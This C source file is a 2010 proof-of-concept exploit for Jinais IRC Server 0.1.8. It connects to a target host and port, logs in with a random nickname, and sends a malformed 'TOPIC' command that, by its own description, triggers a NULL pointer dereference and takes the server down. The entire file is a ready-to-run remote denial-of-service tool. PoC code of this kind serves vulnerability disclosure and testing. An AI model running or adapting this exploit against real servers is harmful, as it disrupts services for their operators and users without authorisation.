/*

    Jinais IRC Server 0.1.8 - NULL Pointer PoC
    
    This PoC will disconnect the affected target IRC server using
    a NULL Pointer vulnerability.

    Copyright 2010 Salvatore Fresta aka Drosophila

    This program is free software; you can redistribute it and/or
    modify it under the terms of  the  GNU General Public License
    as published by the  Free Software Foundation; either version 
    2 of the License, or (at your option) any later version.

    This program  is  distributed  in the hope  that  it  will be
    useful, but WITHOUT ANY WARRANTY;  without  even the  implied
    warranty  of  MERCHANTABILITY  or  FITNESS  FOR  A PARTICULAR
    PURPOSE. See the GNU General Public License for more details.

    You should have  received a copy  of  the  GNU General Public
    License along  with  this program;  if not, write to the Free
    Software Foundation,Inc., 59 Temple Place, Suite 330, Boston,
    MA 02111-1307 USA

    http://www.gnu.org/licenses/gpl-2.0.txt

*/

#include <stdio.h>
#include <string.h>
#include <getopt.h>
#include <stdlib.h>
#include <time.h>
#ifdef WIN32
	#include <winsock.h>
	#define close closesocket
#else
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
	#include <unistd.h>
	#include <errno.h>
	#include <netdb.h>
#endif

#define BUFF_SIZE 256
#define DEFAULT_PORT 4002


int socket_connect(char *server, int port);
char *socket_receive(int sock, int tout);
int socket_send(int socket, char *buffer, size_t size);
int socket_close(int socket);



int main(int argc, char *argv[]) {

	int sd,
	    rnd_num,
	    len,
	    port = DEFAULT_PORT;
	char pkg[BUFF_SIZE],
	     *response = NULL,
	     *host = NULL;
	
	if(argc < 2) {
		printf("\nJinais IRC Server 0.1.8 NULL Pointer PoC - (c) Salvatore Fresta"
		       "\nhttp://www.salvatorefresta.net"
		       "\n"
		       "\nUsage: %s <target_hostname> <port> (default: %d)\n\n", argv[0], port);
		return -1;
	}
	
	srand(time(NULL));
	
	host = argv[1];
	if(argc > 2) port = atoi(argv[2]);
	
	printf("\nJinais IRC Server 0.1.8 NULL Pointer PoC - (c) Salvatore Fresta"
		   "\nhttp://www.salvatorefresta.net"
		   "\n\n[*] Connecting to %s:%hu...", host, port);
	
	sd = socket_connect(host, port);
	if(sd < 0) {
		printf("\n[-] Error on connect!\n\n");
		return -1;
	}
	
	printf("\n[+] Connection estabilished"
	       "\n[*] Loggin to IRC server...");
	
login:	
	
	rnd_num = rand()%100+1;
	
	len = snprintf(pkg, sizeof(pkg), "NICK randomnickname%d\r\n", rnd_num);
	if(len < 0 || len > sizeof(pkg)) {
		perror("\n[-] Error: snprintf");
		socket_close(sd);
		return -1;
	}
	
	if(socket_send(sd, pkg, len) < 0) {
		perror("\n[-] Error: socket_send");
		socket_close(sd);
		return -1;
	}
	
	response = socket_receive(sd, 3);
	if(!response) {
		perror("\n[-] Error: socket_receive");
		socket_close(sd);
		return -1;
	}
	
	if(strstr(response, "Nickname is already in use")) {
		free(response);
		goto login;
	}
	free(response);
	
	printf("\n[+] Login successfully"
	       "\n[*] Data sending...");
	       
	rnd_num = rand()%100+1;
	len = snprintf(pkg, sizeof(pkg), "USER blabla\r\nTOPIC #ch%d\r\n", rnd_num);
	if(len < 0 || len > sizeof(pkg)) {
		perror("\n[-] Error: snprintf");
		socket_close(sd);
		return -1;
	}
	
	if(socket_send(sd, pkg, len) < 0) {
		perror("\n[-] Error: socket_send");
		socket_close(sd);
		return -1;
	}
	
	response = socket_receive(sd, 3);
	if(!response) {
		perror("\n[-] Error: socket_receive");
		socket_close(sd);
		return -1;
	}
	
	socket_close(sd);
	
	printf("\n[+] Data sent successfully"
	       "\n[+] Connection closed\n\n");
	
	return 0;
	
}



int socket_connect(char *server, int port) {

	int sd;
	struct sockaddr_in sock;
	struct hostent *host = NULL;
	
#ifdef WIN32	
	WSADATA wsadata;
    if(WSAStartup(MAKEWORD(1,0), &wsadata)) return -1;
#endif
	
	memset(&sock, 0, sizeof(sock));
	
	if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
	
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);
	
	if(!(host=gethostbyname(server))) return -1;
	
	sock.sin_addr = *((struct in_addr *)host->h_addr);
	
	if(connect(sd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1;
	
	return sd;
   
}



char *socket_receive(int sock, int tout) {

	int ret,
	    byte_recv,
	    oldpkglen = 0,
	    pkglen = 0;
	char *buffer = NULL, 
	     tmp[128];
	struct timeval timeout;
	fd_set input;
	
	if(sock < 0) return NULL;
	
	while (1) {
		
		FD_ZERO(&input);
		FD_SET(sock, &input);
		
		if(tout > 0) {
			timeout.tv_sec  = tout;
			timeout.tv_usec = 0;
			ret = select(sock + 1, &input, NULL, NULL, &timeout);
		}
		else
			ret = select(sock + 1, &input, NULL, NULL, NULL);
	
		if (!ret) break;
		if (ret < 0) return NULL;
		
		byte_recv = recv(sock, tmp, sizeof(tmp), 0);
		
		if(byte_recv < 0) return NULL;
		
		if(!byte_recv) break;
		
		oldpkglen = pkglen;
		pkglen += byte_recv;
		
		buffer = (char *) realloc(buffer, pkglen+1);
		
		if(!buffer) return NULL;
		
		memcpy(buffer+oldpkglen, tmp, byte_recv);
	
	}
	
	if(buffer) buffer[pkglen] = 0;
	
	return buffer;
   
}



int socket_send(int socket, char *buffer, size_t size) {
	
	if(socket < 0) return -1;

	return send(socket, buffer, size, 0) < 0 ? -1 : 0;
	
}



int socket_close(int socket) {
	
	if(socket < 0) return -1;
	
	return close(socket) < 0 ? -1 : 0;
	
}